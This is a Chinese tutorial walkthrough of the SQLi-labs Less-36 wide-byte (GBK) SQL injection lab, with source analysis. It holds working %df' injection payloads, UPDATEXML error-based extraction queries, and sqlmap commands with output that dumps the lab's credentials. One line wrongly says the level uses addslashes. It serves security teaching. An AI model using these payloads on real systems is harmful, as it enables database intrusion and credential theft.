目录
一、转义函数
1、mysqli_real_escape_string
2、addslashes
3、转义区别
二、宽字符注入
三、sqlmap之tamper
四、sqlmap之unmagicquotes
五、源码分析
1、代码审计
2、SQL注入安全性分析
六、渗透实战
1、进入靶场
2、id=1探测
3、id=-1探测
4、id=1%df' and 1=2 -- 探测
5、id=1%df' or 1=1 -- 探测
6、手动注入(方法1)
(1)获取数据库名
(2)获取表名
(3)获取列名
(4)获取数据
7、sqlmap渗透实战(方法2)
8、sqlmap渗透实战(方法3)
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用3种方法(手工注入+2种脚本注入)对第36关Less 36基于宽字符的SQL注入关卡进行渗透实战。
一、转义函数
1、mysqli_real_escape_string
- 是 MySQL 官方提供的数据库连接对象(
mysqli
)的内置函数。 - 依赖当前连接的字符集,会根据
mysqli
对象的字符集(如gbk
、utf8
等)对特殊字符进行转义(如 对'
、"
、\
添加转义符\
),确保转义后字符串在数据库中正确解析,避免 SQL 注入。 - 安全性更高,专门针对 MySQL 设计,能处理不同字符集下的特殊字符(如多字节字符中的
\x5c
和\x27
组合),有效防御 SQL 注入。 - 不过若字符集为 GBK/GB2312,某些情况下攻击者仍可利用宽字节特性绕过转义。
场景 | mysqli_real_escape_string 效果 | 是否存在款子字节注入风险 |
---|---|---|
字符集为 UTF-8 | 正确转义所有特殊字符,无法形成宽字符组合 | 否 |
字符集为 GBK/GB2312 | 转义符 \ 可能被宽字节 “吃掉”,单引号逃逸 | 是 |
2、addslashes
- 是 PHP 内置的通用字符串转义函数。
- 不依赖字符集,直接对
'
、"
、\
、NULL
等特殊字符添加反斜杠(\
)进行转义,属于 “固定规则” 转义,可能因字符集问题导致转义不彻底(如宽字节注入)。 - 安全性较低,无法感知字符集,在宽字节场景下(如数据库字符集为
gbk
),可能被利用绕过转义(例如%df'
会与\
组合成�'
,导致单引号逃逸)
3、转义区别
mysqli_real_escape_string 与 addslashes 的区别如下表所示。
对比维度 | mysqli_real_escape_string | addslashes |
---|---|---|
所属类别 | MySQL 官方 mysqli 扩展函数 | PHP 内置通用函数 |
字符集依赖 | 依赖 mysqli 连接的字符集(如 gbk 、utf8 ) | 不依赖字符集,固定转义规则 |
转义逻辑 | 根据字符集智能转义特殊字符(如多字节字符中的危险符号) | 直接对 ' 、" 、\ 、NULL 添加 \ 转义 |
防御 SQL 注入 | 强(专门针对 MySQL 设计,多数场景下可防宽字节注入) | 弱(可能因字符集问题导致逃逸,如宽字节攻击) |
使用前提 | 必须存在有效的 mysqli 连接对象 | 无需依赖任何扩展或连接,可独立使用 |
典型场景 | MySQL 数据库查询参数的转义 | 非数据库场景的字符串转义(如 HTML 显示) |
安全性等级 | 高(官方推荐方案) | 低(仅适用于非安全场景) |
二、宽字符注入
宽字节注入是一种利用数据库字符集转换安全风险的SQL注入技术,主要影响使用GBK、BIG5等多字节字符集的系统。
宽字节SQL的核心条件如下所示。
- 数据库使用宽字节字符集(如 GBK、GB2312 等)。
- 输入数据未正确处理编码,比如闭合方式为单引号时,导致转义符
\
被 “吃掉”。其核心原理如下所示。-
当系统使用addslashes或mysql_real_escape_string转义单引号时,会添加反斜杠(\')
-
在GBK编码中,%df%5c可组成一个合法汉字"運"
-
攻击者构造%df',转义后变为%df%5c%27,被解析为"運'"使单引号逃逸
-
这里要特别强调,数值型参数本身不受宽字节注入影响。
三、sqlmap之tamper
sqlmap是一款开源的自动化SQL注入检测与利用工具,由Python编写。Tamper脚本是SQLMap中用于绕过WAF/IDS/IPS的脚本模块,通过对注入payload进行特定变换来规避安全检测。常用的tamper脚本功能如下所示。
Tamper名称 | 功能描述 |
---|---|
space2comment | 用/**/ 替换空格 |
randomcase | 随机大小写转换 |
between | 用NOT BETWEEN 0 AND # 替换> ,用BETWEEN # AND # 替换= |
charencode | 对payload进行URL编码 |
charunicodeencode | 使用Unicode编码 |
equaltolike | 用LIKE 替换= |
greatest | 用GREATEST 函数绕过对> 的过滤 |
halfversionedmorekeywords | 在关键字前添加MySQL注释(针对特定MySQL版本) |
modsecurityversioned | 使用MySQL注释绕过ModSecurity |
space2plus | 用+ 替换空格 |
space2hash | 用# 加换行符替换空格 |
apostrophemask | 用UTF-8全角字符替换单引号 |
四、sqlmap之unmagicquotes
--tamper unmagicquotes 是 sqlmap 工具中的一个参数选项,用于在进行 SQL 注入测试时,对输入数据进行特定的处理,以绕过某些应用程序中可能存在的 magic_quotes_gpc
或类似的自动转义机制。
-
magic_quotes_gpc
简介:magic_quotes_gpc
是 PHP 中的一个配置选项,它会自动对用户输入的数据进行转义,在特殊字符(如单引号'
、双引号"
、反斜杠\
和 NULL 字符)前添加反斜杠\
。其目的是为了防止 SQL 注入攻击,但在某些情况下可能会带来不便,并且也不能完全防止所有类型的 SQL 注入。
-
--tamper unmagicquotes
的作用:- 当使用
sqlmap
进行 SQL 注入测试时,如果目标应用程序启用了magic_quotes_gpc
或类似的自动转义机制,sqlmap
会自动检测到并尝试绕过它。 --tamper unmagicquotes
参数的作用就是告诉sqlmap
对输入数据进行处理,去除自动添加的反斜杠,以便能够成功地进行 SQL 注入测试。
- 当使用
五、源码分析
1、代码审计
本关卡Less36是基于宽字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less36关卡功能是简单基于id的查询页面,与33关卡区别主要是对字符型参数转义处理逻辑使用的函数不同,33关使用addslashes() 对参数id进行转义处理,而36关使用mysqli_real_escape_string函数对id进行转义处理, 具体区别如下所示。
36关卡详细注释过的源码如下所示。
<?php
// 引入数据库连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭错误报告,避免敏感信息泄露
error_reporting(0);/*** 转义函数:使用mysqli_real_escape_string对输入进行转义* @param mysqli $con1 数据库连接对象* @param string $string 待转义的字符串* @return string 转义后的字符串*/
function check_quotes($con1, $string) {$string = mysqli_real_escape_string($con1, $string); // 转义SQL特殊字符(如单引号、反斜杠等)return $string;
}// 处理GET参数id
if (isset($_GET['id'])) {$id = check_quotes($con1, $_GET['id']); // 调用转义函数处理输入// echo "The filtered request is :" .$id . "<br>"; // 调试用,输出过滤后的参数// 记录id参数到日志文件(路径为当前目录下的result.txt)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 设置数据库字符集为gbk(关键配置,可能引发宽字符注入)mysqli_query($con1, "SET NAMES gbk");// 构造SQL查询语句(字符串类型参数,使用单引号包裹)$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) { // 查询成功,显示用户信息echo '<font color= "#00FF00">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else { // 查询失败,显示数据库错误信息(可用于错误回显注入)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 输出数据库错误,如语法错误、表不存在等echo "</font>"; }
} else { // 未提供id参数时的提示echo "Please input the ID as parameter with numeric value";
}
?>
本关卡通过使用addslashes()转义逻辑,结合gbk字符集演示了宽字符注入的原理。核心安全风险在于转义后的反斜杠与宽字符组合导致单引号逃逸,核心功能如下所示。
- 自定义转义函数:使用mysqli_real_escape_string() 的转义逻辑,根据连接字符集对单引号、双引号和反斜杠等进行转义,理论上防御常规 SQL 注入。
- 参数处理:从 GET 参数获取
id
,调用转义函数后直接拼接 SQL 查询语句中(SELECT * FROM users WHERE id='$id' LIMIT 0,1)。 - 数据库配置:显式设置字符集为
gbk
,为宽字符注入创造条件。 - 页面提示信息:
- 数据库报错信息回显:当 SQL 查询失败时,返回数据库错误信息(如语法错误),可用于注入攻击的错误提示。
- 用户名密码回显:当SQL查询成功时,返回用户名和密码
- 调试提示:无论查询成功还是失败页面底部均显示转义后的字符串,帮助理解参数。
2、SQL注入安全性分析
本关卡具有宽字节注入风险,具体分析如下所示。
- 转义逻辑:
- 将mysqli_real_escape_string处理过的id直接拼接到SQL注入语句(SELECT * FROM users WHERE id='$id' LIMIT 0,1)中,mysqli_real_escape_string会将单引号(')转义为\'(%5C%27),但在gbk字符集中,%5C(反斜杠)与前一个字节(如%DF)可组合成宽字符(%DF%5C在 gbk 中为无效字符,但会被解析为一个字符),导致单引号%27被释放,存在宽字节注入风险。
- 数据库字符集为
gbk
时,反斜杠\
(ASCII 码为5C
)与后续字符可能组成一个宽字符,导致转义的单引号虽然被转义却仍然被“放掉”从而构成闭合。
- 注入流程:
- 输入 payload:
%df'
(URL 编码为%df%27
)。 - 单引号转义后变为:
\'
URL 编码为%5C%27,%df'转移后变为了%df%5C%27
- 在gbk字符集中,%df%5C 被解析为一个宽字符,%27(单引号)被保留。
- 输入 payload:
六、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。
其中第35关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less36关卡,进入到靶场的第36关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“Hint: The Query String you input is escaped as ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-36
2、id=1探测
http://192.168.59.1/sqli-labs/Less-36/?id=1
如下所示显示id=1用户的账户名和密码,以及两个提示,如下所示。
3、id=-1探测
http://192.168.59.1/sqli-labs/Less-36/?id=-1
如下所示id=-1这个用户不存在,查询失败页面下方显示两个提示,如下所示。
4、id=1%df' and 1=2 -- 探测
注入内容设置为1%df' and 1=2 -- ,由于空格的URL编码为加号,完整URL如下所示。
http://192.168.59.1/sqli-labs/Less-36/?id=1%df' and 1=2--+
5、id=1%df' or 1=1 -- 探测
注入内容设置为%df' or 1=1 -- ,由于空格的URL编码为加号,完整URL如下所示。
http://192.168.59.1/sqli-labs/Less-36/?id=%df' or 1=1--+
此时渗透成功,显示了id=1的用户名和密码Dumb,如下所示。
6、手动注入(方法1)
(1)获取数据库名
如下所示,数据库的名称为“security”。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--+
(2)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--+
(3)获取列名
如下所示,数据库users表的列名分别为id,username,password。特别注意这里users表使用十六进制0x7573657273表示,因为'users'会被转义,此时渗透成功。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273),0x7e),1)--+
(4)获取数据
最后通过上一步获取到的列名来提取users表的第一行的用户名和密码内容,这里符号:也被替换为0x3a,如下所示渗透成功。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1)--+
7、sqlmap渗透实战(方法2)
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,在id=1后面增加%df'的目标是指定闭合方式,星号*放在id=1%df'后则是指定注入点为id,完整的SQL注入命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-36/?id=-1%df'*" --current-db --batch --dump
sqlmap渗透成功,可以通过报错法、时间盲注方法渗透成功,具体信息如下所示。
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1320 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-36/?id=1%df' AND GTID_SUBSET(CONCAT(0x71767a7171,(SELECT (ELT(4514=4514,1))),0x7162707a71),4514)-- XaXoType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-36/?id=1%df' AND (SELECT 9987 FROM (SELECT(SLEEP(5)))rkuL)-- BsKt
---
[03:30:29] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[03:30:29] [INFO] fetching current database
[03:30:29] [INFO] retrieved: 'security'Table: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
8、sqlmap渗透实战(方法3)
使用tamper脚本进行sqlmap渗透,具体命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-36/?id=1" --current-db --batch --dump --tamper unmagicquotes
- 探测URL:通过
-u
指定目标 URL 和参数。 - 获取信息:用
--current-db
获取当前数据库名。 - 自动化执行:
--batch
避免人工干预。 - 数据导出:
--dump
导出数据库内容。 - 绕过防护:
--tamper unmagicquotes
尝试移除多余转义。
如下所示,sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)Payload: id=1' AND 4658=4658#Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x7170706271,(SELECT (ELT(5019=5019,1))),0x717a716b71),5019)-- WmWpType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 3115 FROM (SELECT(SLEEP(5)))fuWe)-- AqFzType: UNION queryTitle: MySQL UNION query (NULL) - 3 columnsPayload: id=-6572' UNION ALL SELECT NULL,CONCAT(0x7170706271,0x58715553674f49746f556e6268516177646458796a77655943644e4e537a48725955504764736647,0x717a716b71),NULL#
---
[03:19:56] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[03:19:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[03:19:56] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+